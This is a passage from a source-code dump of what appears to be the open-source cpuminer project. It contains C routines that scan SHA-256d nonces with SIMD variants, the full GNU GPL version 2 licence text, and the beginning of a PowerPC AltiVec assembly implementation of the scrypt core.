15); 414 | RNDr(hash, S, 16); 415 | RNDr(hash, S, 17); 416 | RNDr(hash, S, 18); 417 | RNDr(hash, S, 19); 418 | RNDr(hash, S, 20); 419 | RNDr(hash, S, 21); 420 | RNDr(hash, S, 22); 421 | RNDr(hash, S, 23); 422 | RNDr(hash, S, 24); 423 | RNDr(hash, S, 25); 424 | RNDr(hash, S, 26); 425 | RNDr(hash, S, 27); 426 | RNDr(hash, S, 28); 427 | RNDr(hash, S, 29); 428 | RNDr(hash, S, 30); 429 | RNDr(hash, S, 31); 430 | RNDr(hash, S, 32); 431 | RNDr(hash, S, 33); 432 | RNDr(hash, S, 34); 433 | RNDr(hash, S, 35); 434 | RNDr(hash, S, 36); 435 | RNDr(hash, S, 37); 436 | RNDr(hash, S, 38); 437 | RNDr(hash, S, 39); 438 | RNDr(hash, S, 40); 439 | RNDr(hash, S, 41); 440 | RNDr(hash, S, 42); 441 | RNDr(hash, S, 43); 442 | RNDr(hash, S, 44); 443 | RNDr(hash, S, 45); 444 | RNDr(hash, S, 46); 445 | RNDr(hash, S, 47); 446 | RNDr(hash, S, 48); 447 | RNDr(hash, S, 49); 448 | RNDr(hash, S, 50); 449 | RNDr(hash, S, 51); 450 | RNDr(hash, S, 52); 451 | RNDr(hash, S, 53); 452 | RNDr(hash, S, 54); 453 | RNDr(hash, S, 55); 454 | RNDr(hash, S, 56); 455 | 456 | hash[2] += hash[6] + S1(hash[3]) + Ch(hash[3], hash[4], hash[5]) 457 | + S[57] + sha256_k[57]; 458 | hash[1] += hash[5] + S1(hash[2]) + Ch(hash[2], hash[3], hash[4]) 459 | + S[58] + sha256_k[58]; 460 | hash[0] += hash[4] + S1(hash[1]) + Ch(hash[1], hash[2], hash[3]) 461 | + S[59] + sha256_k[59]; 462 | hash[7] += hash[3] + S1(hash[0]) + Ch(hash[0], hash[1], hash[2]) 463 | + S[60] + sha256_k[60] 464 | + sha256_h[7]; 465 | } 466 | 467 | #endif /* EXTERN_SHA256 */ 468 | 469 | #ifdef HAVE_SHA256_4WAY 470 | 471 | void sha256d_ms_4way(uint32_t *hash, uint32_t *data, 472 | const uint32_t *midstate, const uint32_t *prehash); 473 | 474 | static inline int scanhash_sha256d_4way(int thr_id, uint32_t *pdata, 475 | const uint32_t *ptarget, uint32_t max_nonce, unsigned long *hashes_done) 476 | { 477 | uint32_t data[4 * 64] __attribute__((aligned(128))); 478 | uint32_t hash[4 * 8] __attribute__((aligned(32))); 479 | uint32_t midstate[4 * 8] __attribute__((aligned(32))); 480 | uint32_t prehash[4 * 8] __attribute__((aligned(32))); 481 | uint32_t n = pdata[19] - 1; 482 | const uint32_t first_nonce = pdata[19]; 483 | const uint32_t Htarg = ptarget[7]; 484 | int i, j; 485 | 486 | memcpy(data, pdata + 16, 64); 487 | sha256d_preextend(data); 488 | for (i = 31; i >= 0; i--) 489 | for (j = 0; j < 4; j++) 490 | data[i * 4 + j] = data[i]; 491 | 492 | sha256_init(midstate); 493 | sha256_transform(midstate, pdata, 0); 494 | memcpy(prehash, midstate, 32); 495 | sha256d_prehash(prehash, pdata + 16); 496 | for (i = 7; i >= 0; i--) { 497 | for (j = 0; j < 4; j++) { 498 | midstate[i * 4 + j] = midstate[i]; 499 | prehash[i * 4 + j] = prehash[i]; 500 | } 501 | } 502 | 503 | do { 504 | for (i = 0; i < 4; i++) 505 | data[4 * 3 + i] = ++n; 506 | 507 | sha256d_ms_4way(hash, data, midstate, prehash); 508 | 509 | for (i = 0; i < 4; i++) { 510 | if (swab32(hash[4 * 7 + i]) <= Htarg) { 511 | pdata[19] = data[4 * 3 + i]; 512 | sha256d_80_swap(hash, pdata); 513 | if (fulltest(hash, ptarget)) { 514 | *hashes_done = n - first_nonce + 1; 515 | return 1; 516 | } 517 | } 518 | } 519 | } while (n < max_nonce && !work_restart[thr_id].restart); 520 | 521 | *hashes_done = n - first_nonce + 1; 522 | pdata[19] = n; 523 | return 0; 524 | } 525 | 526 | #endif /* HAVE_SHA256_4WAY */ 527 | 528 | #ifdef HAVE_SHA256_8WAY 529 | 530 | void sha256d_ms_8way(uint32_t *hash, uint32_t *data, 531 | const uint32_t *midstate, const uint32_t *prehash); 532 | 533 | static inline int scanhash_sha256d_8way(int thr_id, uint32_t *pdata, 534 | const uint32_t *ptarget, uint32_t max_nonce, unsigned long *hashes_done) 535 | { 536 | uint32_t data[8 * 64] __attribute__((aligned(128))); 537 | uint32_t hash[8 * 8] __attribute__((aligned(32))); 538 | uint32_t midstate[8 * 8] __attribute__((aligned(32))); 539 | uint32_t prehash[8 * 8] __attribute__((aligned(32))); 540 | uint32_t n = pdata[19] - 1; 541 | const uint32_t first_nonce = pdata[19]; 542 | const uint32_t Htarg = ptarget[7]; 543 | int i, j; 544 | 545 | memcpy(data, pdata + 16, 64); 546 | sha256d_preextend(data); 547 | for (i = 31; i >= 0; i--) 548 | for (j = 0; j < 8; j++) 549 | data[i * 8 + j] = data[i]; 550 | 551 | sha256_init(midstate); 552 | sha256_transform(midstate, pdata, 0); 553 | memcpy(prehash, midstate, 32); 554 | sha256d_prehash(prehash, pdata + 16); 555 | for (i = 7; i >= 0; i--) { 556 | for (j = 0; j < 8; j++) { 557 | midstate[i * 8 + j] = midstate[i]; 558 | prehash[i * 8 + j] = prehash[i]; 559 | } 560 | } 561 | 562 | do { 563 | for (i = 0; i < 8; i++) 564 | data[8 * 3 + i] = ++n; 565 | 566 | sha256d_ms_8way(hash, data, midstate, prehash); 567 | 568 | for (i = 0; i < 8; i++) { 569 | if (swab32(hash[8 * 7 + i]) <= Htarg) { 570 | pdata[19] = data[8 * 3 + i]; 571 | sha256d_80_swap(hash, pdata); 572 | if (fulltest(hash, ptarget)) { 573 | *hashes_done = n - first_nonce + 1; 574 | return 1; 575 | } 576 | } 577 | } 578 | } while (n < max_nonce && !work_restart[thr_id].restart); 579 | 580 | *hashes_done = n - first_nonce + 1; 581 | pdata[19] = n; 582 | return 0; 583 | } 584 | 585 | #endif /* HAVE_SHA256_8WAY */ 586 | 587 | int scanhash_sha256d(int thr_id, uint32_t *pdata, const uint32_t *ptarget, 588 | uint32_t max_nonce, unsigned long *hashes_done) 589 | { 590 | uint32_t data[64] __attribute__((aligned(128))); 591 | uint32_t hash[8] __attribute__((aligned(32))); 592 | uint32_t midstate[8] __attribute__((aligned(32))); 593 | uint32_t prehash[8] __attribute__((aligned(32))); 594 | uint32_t n = pdata[19] - 1; 595 | const uint32_t first_nonce = pdata[19]; 596 | const uint32_t Htarg = ptarget[7]; 597 | 598 | #ifdef HAVE_SHA256_8WAY 599 | if (sha256_use_8way()) 600 | return scanhash_sha256d_8way(thr_id, pdata, ptarget, 601 | max_nonce, hashes_done); 602 | #endif 603 | #ifdef HAVE_SHA256_4WAY 604 | if (sha256_use_4way()) 605 | return scanhash_sha256d_4way(thr_id, pdata, ptarget, 606 | max_nonce, hashes_done); 607 | #endif 608 | 609 | memcpy(data, pdata + 16, 64); 610 | sha256d_preextend(data); 611 | 612 | sha256_init(midstate); 613 | sha256_transform(midstate, pdata, 0); 614 | memcpy(prehash, midstate, 32); 615 | sha256d_prehash(prehash, pdata + 16); 616 | 617 | do { 618 | data[3] = ++n; 619 | sha256d_ms(hash, data, midstate, prehash); 620 | if (swab32(hash[7]) <= Htarg) { 621 | pdata[19] = data[3]; 622 | sha256d_80_swap(hash, pdata); 623 | if (fulltest(hash, ptarget)) { 624 | *hashes_done = n - first_nonce + 1; 625 | return 1; 626 | } 627 | } 628 | } while (n < max_nonce && !work_restart[thr_id].restart); 629 | 630 | *hashes_done = n - first_nonce + 1; 631 | pdata[19] = n; 632 | return 0; 633 | } 634 | -------------------------------------------------------------------------------- /scripts/COPYING: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 2, June 1991 3 | 4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc. 5 | 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA 6 | Everyone is permitted to copy and distribute verbatim copies 7 | of this license document, but changing it is not allowed. 8 | 9 | Preamble 10 | 11 | The licenses for most software are designed to take away your 12 | freedom to share and change it. By contrast, the GNU General Public 13 | License is intended to guarantee your freedom to share and change free 14 | software--to make sure the software is free for all its users. This 15 | General Public License applies to most of the Free Software 16 | Foundation's software and to any other program whose authors commit to 17 | using it. (Some other Free Software Foundation software is covered by 18 | the GNU Library General Public License instead.) You can apply it to 19 | your programs, too. 20 | 21 | When we speak of free software, we are referring to freedom, not 22 | price. Our General Public Licenses are designed to make sure that you 23 | have the freedom to distribute copies of free software (and charge for 24 | this service if you wish), that you receive source code or can get it 25 | if you want it, that you can change the software or use pieces of it 26 | in new free programs; and that you know you can do these things. 27 | 28 | To protect your rights, we need to make restrictions that forbid 29 | anyone to deny you these rights or to ask you to surrender the rights. 30 | These restrictions translate to certain responsibilities for you if you 31 | distribute copies of the software, or if you modify it. 32 | 33 | For example, if you distribute copies of such a program, whether 34 | gratis or for a fee, you must give the recipients all the rights that 35 | you have. You must make sure that they, too, receive or can get the 36 | source code. And you must show them these terms so they know their 37 | rights. 38 | 39 | We protect your rights with two steps: (1) copyright the software, and 40 | (2) offer you this license which gives you legal permission to copy, 41 | distribute and/or modify the software. 42 | 43 | Also, for each author's protection and ours, we want to make certain 44 | that everyone understands that there is no warranty for this free 45 | software. If the software is modified by someone else and passed on, we 46 | want its recipients to know that what they have is not the original, so 47 | that any problems introduced by others will not reflect on the original 48 | authors' reputations. 49 | 50 | Finally, any free program is threatened constantly by software 51 | patents. We wish to avoid the danger that redistributors of a free 52 | program will individually obtain patent licenses, in effect making the 53 | program proprietary. To prevent this, we have made it clear that any 54 | patent must be licensed for everyone's free use or not licensed at all. 55 | 56 | The precise terms and conditions for copying, distribution and 57 | modification follow. 58 | 59 | GNU GENERAL PUBLIC LICENSE 60 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 61 | 62 | 0. This License applies to any program or other work which contains 63 | a notice placed by the copyright holder saying it may be distributed 64 | under the terms of this General Public License. The "Program", below, 65 | refers to any such program or work, and a "work based on the Program" 66 | means either the Program or any derivative work under copyright law: 67 | that is to say, a work containing the Program or a portion of it, 68 | either verbatim or with modifications and/or translated into another 69 | language. (Hereinafter, translation is included without limitation in 70 | the term "modification".) Each licensee is addressed as "you". 71 | 72 | Activities other than copying, distribution and modification are not 73 | covered by this License; they are outside its scope. The act of 74 | running the Program is not restricted, and the output from the Program 75 | is covered only if its contents constitute a work based on the 76 | Program (independent of having been made by running the Program). 77 | Whether that is true depends on what the Program does. 78 | 79 | 1. You may copy and distribute verbatim copies of the Program's 80 | source code as you receive it, in any medium, provided that you 81 | conspicuously and appropriately publish on each copy an appropriate 82 | copyright notice and disclaimer of warranty; keep intact all the 83 | notices that refer to this License and to the absence of any warranty; 84 | and give any other recipients of the Program a copy of this License 85 | along with the Program. 86 | 87 | You may charge a fee for the physical act of transferring a copy, and 88 | you may at your option offer warranty protection in exchange for a fee. 89 | 90 | 2. You may modify your copy or copies of the Program or any portion 91 | of it, thus forming a work based on the Program, and copy and 92 | distribute such modifications or work under the terms of Section 1 93 | above, provided that you also meet all of these conditions: 94 | 95 | a) You must cause the modified files to carry prominent notices 96 | stating that you changed the files and the date of any change. 97 | 98 | b) You must cause any work that you distribute or publish, that in 99 | whole or in part contains or is derived from the Program or any 100 | part thereof, to be licensed as a whole at no charge to all third 101 | parties under the terms of this License. 102 | 103 | c) If the modified program normally reads commands interactively 104 | when run, you must cause it, when started running for such 105 | interactive use in the most ordinary way, to print or display an 106 | announcement including an appropriate copyright notice and a 107 | notice that there is no warranty (or else, saying that you provide 108 | a warranty) and that users may redistribute the program under 109 | these conditions, and telling the user how to view a copy of this 110 | License. (Exception: if the Program itself is interactive but 111 | does not normally print such an announcement, your work based on 112 | the Program is not required to print an announcement.) 113 | 114 | These requirements apply to the modified work as a whole. If 115 | identifiable sections of that work are not derived from the Program, 116 | and can be reasonably considered independent and separate works in 117 | themselves, then this License, and its terms, do not apply to those 118 | sections when you distribute them as separate works. But when you 119 | distribute the same sections as part of a whole which is a work based 120 | on the Program, the distribution of the whole must be on the terms of 121 | this License, whose permissions for other licensees extend to the 122 | entire whole, and thus to each and every part regardless of who wrote it. 123 | 124 | Thus, it is not the intent of this section to claim rights or contest 125 | your rights to work written entirely by you; rather, the intent is to 126 | exercise the right to control the distribution of derivative or 127 | collective works based on the Program. 128 | 129 | In addition, mere aggregation of another work not based on the Program 130 | with the Program (or with a work based on the Program) on a volume of 131 | a storage or distribution medium does not bring the other work under 132 | the scope of this License. 133 | 134 | 3. You may copy and distribute the Program (or a work based on it, 135 | under Section 2) in object code or executable form under the terms of 136 | Sections 1 and 2 above provided that you also do one of the following: 137 | 138 | a) Accompany it with the complete corresponding machine-readable 139 | source code, which must be distributed under the terms of Sections 140 | 1 and 2 above on a medium customarily used for software interchange; or, 141 | 142 | b) Accompany it with a written offer, valid for at least three 143 | years, to give any third party, for a charge no more than your 144 | cost of physically performing source distribution, a complete 145 | machine-readable copy of the corresponding source code, to be 146 | distributed under the terms of Sections 1 and 2 above on a medium 147 | customarily used for software interchange; or, 148 | 149 | c) Accompany it with the information you received as to the offer 150 | to distribute corresponding source code. (This alternative is 151 | allowed only for noncommercial distribution and only if you 152 | received the program in object code or executable form with such 153 | an offer, in accord with Subsection b above.) 154 | 155 | The source code for a work means the preferred form of the work for 156 | making modifications to it. For an executable work, complete source 157 | code means all the source code for all modules it contains, plus any 158 | associated interface definition files, plus the scripts used to 159 | control compilation and installation of the executable. However, as a 160 | special exception, the source code distributed need not include 161 | anything that is normally distributed (in either source or binary 162 | form) with the major components (compiler, kernel, and so on) of the 163 | operating system on which the executable runs, unless that component 164 | itself accompanies the executable. 165 | 166 | If distribution of executable or object code is made by offering 167 | access to copy from a designated place, then offering equivalent 168 | access to copy the source code from the same place counts as 169 | distribution of the source code, even though third parties are not 170 | compelled to copy the source along with the object code. 171 | 172 | 4. You may not copy, modify, sublicense, or distribute the Program 173 | except as expressly provided under this License. Any attempt 174 | otherwise to copy, modify, sublicense or distribute the Program is 175 | void, and will automatically terminate your rights under this License. 176 | However, parties who have received copies, or rights, from you under 177 | this License will not have their licenses terminated so long as such 178 | parties remain in full compliance. 179 | 180 | 5. You are not required to accept this License, since you have not 181 | signed it. However, nothing else grants you permission to modify or 182 | distribute the Program or its derivative works. These actions are 183 | prohibited by law if you do not accept this License. Therefore, by 184 | modifying or distributing the Program (or any work based on the 185 | Program), you indicate your acceptance of this License to do so, and 186 | all its terms and conditions for copying, distributing or modifying 187 | the Program or works based on it. 188 | 189 | 6. Each time you redistribute the Program (or any work based on the 190 | Program), the recipient automatically receives a license from the 191 | original licensor to copy, distribute or modify the Program subject to 192 | these terms and conditions. You may not impose any further 193 | restrictions on the recipients' exercise of the rights granted herein. 194 | You are not responsible for enforcing compliance by third parties to 195 | this License. 196 | 197 | 7. If, as a consequence of a court judgment or allegation of patent 198 | infringement or for any other reason (not limited to patent issues), 199 | conditions are imposed on you (whether by court order, agreement or 200 | otherwise) that contradict the conditions of this License, they do not 201 | excuse you from the conditions of this License. If you cannot 202 | distribute so as to satisfy simultaneously your obligations under this 203 | License and any other pertinent obligations, then as a consequence you 204 | may not distribute the Program at all. For example, if a patent 205 | license would not permit royalty-free redistribution of the Program by 206 | all those who receive copies directly or indirectly through you, then 207 | the only way you could satisfy both it and this License would be to 208 | refrain entirely from distribution of the Program. 209 | 210 | If any portion of this section is held invalid or unenforceable under 211 | any particular circumstance, the balance of the section is intended to 212 | apply and the section as a whole is intended to apply in other 213 | circumstances. 214 | 215 | It is not the purpose of this section to induce you to infringe any 216 | patents or other property right claims or to contest validity of any 217 | such claims; this section has the sole purpose of protecting the 218 | integrity of the free software distribution system, which is 219 | implemented by public license practices. Many people have made 220 | generous contributions to the wide range of software distributed 221 | through that system in reliance on consistent application of that 222 | system; it is up to the author/donor to decide if he or she is willing 223 | to distribute software through any other system and a licensee cannot 224 | impose that choice. 225 | 226 | This section is intended to make thoroughly clear what is believed to 227 | be a consequence of the rest of this License. 228 | 229 | 8. If the distribution and/or use of the Program is restricted in 230 | certain countries either by patents or by copyrighted interfaces, the 231 | original copyright holder who places the Program under this License 232 | may add an explicit geographical distribution limitation excluding 233 | those countries, so that distribution is permitted only in or among 234 | countries not thus excluded. In such case, this License incorporates 235 | the limitation as if written in the body of this License. 236 | 237 | 9. The Free Software Foundation may publish revised and/or new versions 238 | of the General Public License from time to time. Such new versions will 239 | be similar in spirit to the present version, but may differ in detail to 240 | address new problems or concerns. 241 | 242 | Each version is given a distinguishing version number. If the Program 243 | specifies a version number of this License which applies to it and "any 244 | later version", you have the option of following the terms and conditions 245 | either of that version or of any later version published by the Free 246 | Software Foundation. If the Program does not specify a version number of 247 | this License, you may choose any version ever published by the Free Software 248 | Foundation. 249 | 250 | 10. If you wish to incorporate parts of the Program into other free 251 | programs whose distribution conditions are different, write to the author 252 | to ask for permission. For software which is copyrighted by the Free 253 | Software Foundation, write to the Free Software Foundation; we sometimes 254 | make exceptions for this. Our decision will be guided by the two goals 255 | of preserving the free status of all derivatives of our free software and 256 | of promoting the sharing and reuse of software generally. 257 | 258 | NO WARRANTY 259 | 260 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY 261 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN 262 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES 263 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED 264 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 265 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS 266 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE 267 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, 268 | REPAIR OR CORRECTION. 269 | 270 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 271 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR 272 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, 273 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING 274 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED 275 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY 276 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER 277 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE 278 | POSSIBILITY OF SUCH DAMAGES. 279 | 280 | END OF TERMS AND CONDITIONS 281 | 282 | How to Apply These Terms to Your New Programs 283 | 284 | If you develop a new program, and you want it to be of the greatest 285 | possible use to the public, the best way to achieve this is to make it 286 | free software which everyone can redistribute and change under these terms. 287 | 288 | To do so, attach the following notices to the program. It is safest 289 | to attach them to the start of each source file to most effectively 290 | convey the exclusion of warranty; and each file should have at least 291 | the "copyright" line and a pointer to where the full notice is found. 292 | 293 | 294 | Copyright (C) 295 | 296 | This program is free software; you can redistribute it and/or modify 297 | it under the terms of the GNU General Public License as published by 298 | the Free Software Foundation; either version 2 of the License, or 299 | (at your option) any later version. 300 | 301 | This program is distributed in the hope that it will be useful, 302 | but WITHOUT ANY WARRANTY; without even the implied warranty of 303 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 304 | GNU General Public License for more details. 305 | 306 | You should have received a copy of the GNU General Public License 307 | along with this program; if not, write to the Free Software 308 | Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA 309 | 310 | 311 | Also add information on how to contact you by electronic and paper mail. 312 | 313 | If the program is interactive, make it output a short notice like this 314 | when it starts in an interactive mode: 315 | 316 | Gnomovision version 69, Copyright (C) year name of author 317 | Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 318 | This is free software, and you are welcome to redistribute it 319 | under certain conditions; type `show c' for details. 320 | 321 | The hypothetical commands `show w' and `show c' should show the appropriate 322 | parts of the General Public License. Of course, the commands you use may 323 | be called something other than `show w' and `show c'; they could even be 324 | mouse-clicks or menu items--whatever suits your program. 325 | 326 | You should also get your employer (if you work as a programmer) or your 327 | school, if any, to sign a "copyright disclaimer" for the program, if 328 | necessary. Here is a sample; alter the names: 329 | 330 | Yoyodyne, Inc., hereby disclaims all copyright interest in the program 331 | `Gnomovision' (which makes passes at compilers) written by James Hacker. 332 | 333 | , 1 April 1989 334 | Ty Coon, President of Vice 335 | 336 | This General Public License does not permit incorporating your program into 337 | proprietary programs. If your program is a subroutine library, you may 338 | consider it more useful to permit linking proprietary applications with the 339 | library. If this is what you want to do, use the GNU Library General 340 | Public License instead of this License. 341 | -------------------------------------------------------------------------------- /scripts/scrypt-ppc.S: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2014-2015 pooler@litecoinpool.org 3 | * 4 | * This program is free software; you can redistribute it and/or modify it 5 | * under the terms of the GNU General Public License as published by the Free 6 | * Software Foundation; either version 2 of the License, or (at your option) 7 | * any later version. See COPYING for more details. 8 | */ 9 | 10 | #include "cpuminer-config.h" 11 | 12 | #if defined(USE_ASM) && (defined(__powerpc__) || defined(__ppc__) || defined(__PPC__)) 13 | 14 | #ifndef __APPLE__ 15 | 16 | #define r0 0 17 | #define r1 1 18 | #define r2 2 19 | #define r3 3 20 | #define r4 4 21 | #define r5 5 22 | #define r6 6 23 | #define r7 7 24 | #define r8 8 25 | #define r9 9 26 | #define r10 10 27 | #define r11 11 28 | #define r12 12 29 | #define r13 13 30 | #define r14 14 31 | #define r15 15 32 | #define r16 16 33 | #define r17 17 34 | #define r18 18 35 | #define r19 19 36 | #define r20 20 37 | #define r21 21 38 | #define r22 22 39 | #define r23 23 40 | #define r24 24 41 | #define r25 25 42 | #define r26 26 43 | #define r27 27 44 | #define r28 28 45 | #define r29 29 46 | #define r30 30 47 | #define r31 31 48 | 49 | #ifdef __ALTIVEC__ 50 | #define v0 0 51 | #define v1 1 52 | #define v2 2 53 | #define v3 3 54 | #define v4 4 55 | #define v5 5 56 | #define v6 6 57 | #define v7 7 58 | #define v8 8 59 | #define v9 9 60 | #define v10 10 61 | #define v11 11 62 | #define v12 12 63 | #define v13 13 64 | #define v14 14 65 | #define v15 15 66 | #define v16 16 67 | #define v17 17 68 | #define v18 18 69 | #define v19 19 70 | #define v20 20 71 | #define v21 21 72 | #define v22 22 73 | #define v23 23 74 | #define v24 24 75 | #define v25 25 76 | #define v26 26 77 | #define v27 27 78 | #define v28 28 79 | #define v29 29 80 | #define v30 30 81 | #define v31 31 82 | #endif 83 | 84 | #endif 85 | 86 | #if !(defined(__powerpc64__) || defined(__ppc64__) || defined(__PPC64__) || \ 87 | defined(__64BIT__) || defined(_LP64) || defined(__LP64__)) 88 | #define ld lwz 89 | #define std stw 90 | #define stdu stwu 91 | #define stdux stwux 92 | #endif 93 | 94 | 95 | #ifdef __ALTIVEC__ 96 | 97 | #ifdef __APPLE__ 98 | .machine ppc7400 99 | #endif 100 | 101 | .macro salsa8_core_doubleround 102 | vadduwm v4, v0, v1 103 | vrlw v4, v4, v16 104 | vxor v3, v3, v4 105 | 106 | vadduwm v4, v3, v0 107 | vrlw v4, v4, v17 108 | vxor v2, v2, v4 109 | 110 | vadduwm v4, v2, v3 111 | vrlw v4, v4, v18 112 | vsldoi v3, v3, v3, 12 113 | vxor v1, v1, v4 114 | 115 | vadduwm v4, v1, v2 116 | vrlw v4, v4, v19 117 | vsldoi v1, v1, v1, 4 118 | vxor v0, v0, v4 119 | 120 | vadduwm v4, v0, v3 121 | vrlw v4, v4, v16 122 | vsldoi v2, v2, v2, 8 123 | vxor v1, v1, v4 124 | 125 | vadduwm v4, v1, v0 126 | vrlw v4, v4, v17 127 | vxor v2, v2, v4 128 | 129 | vadduwm v4, v2, v1 130 | vrlw v4, v4, v18 131 | vsldoi v1, v1, v1, 12 132 | vxor v3, v3, v4 133 | 134 | vadduwm v4, v3, v2 135 | vrlw v4, v4, v19 136 | vsldoi v3, v3, v3, 4 137 | vxor v0, v0, v4 138 | vsldoi v2, v2, v2, 8 139 | .endm 140 | 141 | .macro salsa8_core 142 | salsa8_core_doubleround 143 | salsa8_core_doubleround 144 | salsa8_core_doubleround 145 | salsa8_core_doubleround 146 | .endm 147 | 148 | #ifdef _AIX 149 | .csect .text[PR] 150 | #else 151 | .text 152 | #endif 153 | .align 2 154 | .globl scrypt_core 155 | .globl _scrypt_core 156 | .globl .scrypt_core 157 | #ifdef __ELF__ 158 | .type scrypt_core, %function 159 | #endif 160 | scrypt_core: 161 | _scrypt_core: 162 | .scrypt_core: 163 | stdu r1, -4*4(r1) 164 | mfspr r0, 256 165 | std r0, 2*4(r1) 166 | oris r0, r0, 0xffff 167 | ori r0, r0, 0xf000 168 | mtspr 256, r0 169 | 170 | li r6, 1*16 171 | li r7, 2*16 172 | li r8, 3*16 173 | li r9, 4*16 174 | li r10, 5*16 175 | li r11, 6*16 176 | li r12, 7*16 177 | 178 | lvx v8, 0, r3 179 | lvx v9, r3, r6 180 | lvx v10, r3, r7 181 | lvx v11, r3, r8 182 | lvx v12, r3, r9 183 | lvx v13, r3, r10 184 | lvx v14, r3, r11 185 | lvx v15, r3, r12 186 | 187 | vxor v0, v0, v0 188 | vnor v1, v0, v0 189 | vsldoi v2, v0, v1, 4 190 | vsldoi v3, v2, v0, 8 191 | vor v3, v3, v2 192 | vsldoi v1, v0, v1, 8 193 | 194 | vor v4, v8, v8 195 | vsel v8, v8, v9, v3 196 | vsel v9, v9, v10, v3 197 | vsel v10, v10, v11, v3 198 | vsel v11, v11, v4, v3 199 | vor v4, v8, v8 200 | vor v5, v9, v9 201 | vsel v8, v8, v10, v1 202 | vsel v9, v11, v9, v1 203 | vsel v10, v10, v4, v1 204 | vsel v11, v5, v11, v1 205 | 206 | vor v4, v12, v12 207 | vsel v12, v12, v13, v3 208 | vsel v13, v13, v14, v3 209 | vsel v14, v14, v15, v3 210 | vsel v15, v15, v4, v3 211 | vor v4, v12, v12 212 | vor v5, v13, v13 213 | vsel v12, v12, v14, v1 214 | vsel v13, v15, v13, v1 215 | vsel v14, v14, v4, v1 216 | vsel v15, v5, v15, v1 217 | 218 | vspltisw v16, 7 219 | vspltisw v17, 9 220 | vspltisw v18, 13 221 | vadduwm v19, v17, v17 222 | 223 | mtctr r5 224 | scrypt_core_loop1: 225 | vxor v8, v8, v12 226 | stvx v8, 0, r4 227 | vxor v9, v9, v13 228 | stvx v9, r4, r6 229 | vxor v10, v10, v14 230 | stvx v10, r4, r7 231 | vxor v11, v11, v15 232 | stvx v11, r4, r8 233 | vor v0, v8, v8 234 | stvx v12, r4, r9 235 | vor v1, v9, v9 236 | stvx v13, r4, r10 237 | vor v2, v10, v10 238 | stvx v14, r4, r11 239 | vor v3, v11, v11 240 | stvx v15, r4, r12 241 | 242 | salsa8_core 243 | 244 | vadduwm v8, v8, v0 245 | vadduwm v9, v9, v1 246 | vadduwm v10, v10, v2 247 | vadduwm v11, v11, v3 248 | 249 | vxor v12, v12, v8 250 | vxor v13, v13, v9 251 | vxor v14, v14, v10 252 | vxor v15, v15, v11 253 | vor v0, v12, v12 254 | vor v1, v13, v13 255 | vor v2, v14, v14 256 | vor v3, v15, v15 257 | 258 | salsa8_core 259 | 260 | vadduwm v12, v12, v0 261 | vadduwm v13, v13, v1 262 | vadduwm v14, v14, v2 263 | vadduwm v15, v15, v3 264 | 265 | addi r4, r4, 32*4 266 | bdnz scrypt_core_loop1 267 | 268 | stvx v12, 0, r3 269 | slwi r6, r5, 7 270 | subf r4, r6, r4 271 | mtctr r5 272 | addi r5, r5, -1 273 | addi r7, r4, 1*16 274 | addi r8, r4, 2*16 275 | addi r9, r4, 3*16 276 | scrypt_core_loop2: 277 | lwz r6, 0(r3) 278 | and r6, r6, r5 279 | slwi r6, r6, 7 280 | lvx v0, r4, r6 281 | vxor v8, v8, v12 282 | lvx v1, r7, r6 283 | vxor v9, v9, v13 284 | lvx v2, r8, r6 285 | vxor v10, v10, v14 286 | lvx v3, r9, r6 287 | vxor v11, v11, v15 288 | vxor v0, v0, v8 289 | vxor v1, v1, v9 290 | vxor v2, v2, v10 291 | vxor v3, v3, v11 292 | addi r6, r6, 64 293 | vor v8, v0, v0 294 | vor v9, v1, v1 295 | lvx v5, r4, r6 296 | vor v10, v2, v2 297 | lvx v6, r7, r6 298 | vor v11, v3, v3 299 | lvx v7, r8, r6 300 | 301 | salsa8_core 302 | 303 | vadduwm v8, v8, v0 304 | lvx v0, r9, r6 305 | vadduwm v9, v9, v1 306 | vadduwm v10, v10, v2 307 | vadduwm v11, v11, v3 308 | 309 | vxor v12, v12, v5 310 | vxor v13, v13, v6 311 | vxor v14, v14, v7 312 | vxor v15, v15, v0 313 | vxor v12, v12, v8 314 | vxor v13, v13, v9 315 | vxor v14, v14, v10 316 | vxor v15, v15, v11 317 | vor v0, v12, v12 318 | vor v1, v13, v13 319 | vor v2, v14, v14 320 | vor v3, v15, v15 321 | 322 | salsa8_core 323 | 324 | vadduwm v12, v12, v0 325 | stvx v12, 0, r3 326 | vadduwm v13, v13, v1 327 | vadduwm v14, v14, v2 328 | vadduwm v15, v15, v3 329 | 330 | bdnz scrypt_core_loop2 331 | 332 | vxor v0, v0, v0 333 | vnor v1, v0, v0 334 | 